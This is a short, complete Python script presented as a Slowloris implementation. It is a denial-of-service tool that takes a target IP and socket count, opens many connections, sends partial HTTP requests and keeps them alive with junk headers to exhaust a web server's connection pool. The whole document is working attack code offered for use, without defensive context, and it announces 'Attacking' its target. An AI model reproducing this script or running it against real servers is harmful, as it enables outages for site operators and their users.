Slowloris implementation in Python.

slowloris.py

import socket
import random
import time
import sys


def socketStart(ip, port=80, timeout=4):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((ip, port))

    return s


list_of_sockets = []

regular_headers = [
    "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Accept-language: en-US,en,q=0.5"
]

#get command line args 1=ip 2=number of sockets
ip = sys.argv[1]
if( len(sys.argv) > 2): #number of sockets supplied
    socket_count = int(sys.argv[2])
else: socket_count = 100

print("Attacking {} with {} sockets.".format(ip, socket_count))

print("Creating sockets...")
for i in range(socket_count):
    try:
        print("Creating socket {}".format(i) )
        s = socketStart(ip)
    except socket.error:
        break
    list_of_sockets.append(s)

print("Setting up the sockets...")
for s in list_of_sockets:
    s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
    for header in regular_headers:
        s.send(bytes("{}\r\n".format(header).encode("utf-8")))
try:
    while True:
        print("Sending keep-alive headers...")
        for s in list_of_sockets:
            keepAlive = "X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")
            s.send(keepAlive)
        time.sleep(15)
except KeyboardInterrupt:
    print("\nloop exited by user")